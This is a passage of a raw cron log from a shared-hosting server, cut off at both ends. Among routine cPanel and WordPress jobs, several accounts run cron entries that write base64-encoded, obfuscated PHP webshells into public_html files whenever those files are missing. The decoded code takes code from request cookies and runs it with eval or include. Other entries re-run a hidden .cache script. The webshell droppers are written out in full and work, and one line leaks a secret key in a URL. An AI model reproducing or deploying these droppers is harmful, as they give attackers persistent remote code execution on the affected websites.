ICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:16:01 medusa CROND[28930]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:16:01 medusa CROND[28931]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:16:01 medusa CROND[28932]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:16:01 medusa CROND[28935]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:16:01 medusa CROND[28937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:16:01 medusa CROND[28938]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:16:01 medusa CROND[28944]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:16:01 medusa CROND[28945]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:16:01 medusa CROND[28940]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:16:01 medusa CROND[28949]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:17:01 medusa CROND[20971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:17:01 medusa CROND[21040]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:17:01 medusa CROND[21041]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:17:01 medusa CROND[21043]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:17:01 medusa CROND[21042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:17:01 medusa CROND[21048]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:17:01 medusa CROND[21049]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:17:01 medusa CROND[21050]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:17:01 medusa CROND[21053]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:17:01 medusa CROND[21054]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:17:01 medusa CROND[21056]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:17:01 medusa CROND[21060]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:17:01 medusa CROND[21063]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 19:18:02 medusa CROND[13800]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:18:02 medusa CROND[13801]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 19:18:02 medusa CROND[13803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:18:02 medusa CROND[13805]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:18:02 medusa CROND[13806]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:18:02 medusa CROND[13808]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:18:02 medusa CROND[13810]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:18:02 medusa CROND[13813]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKC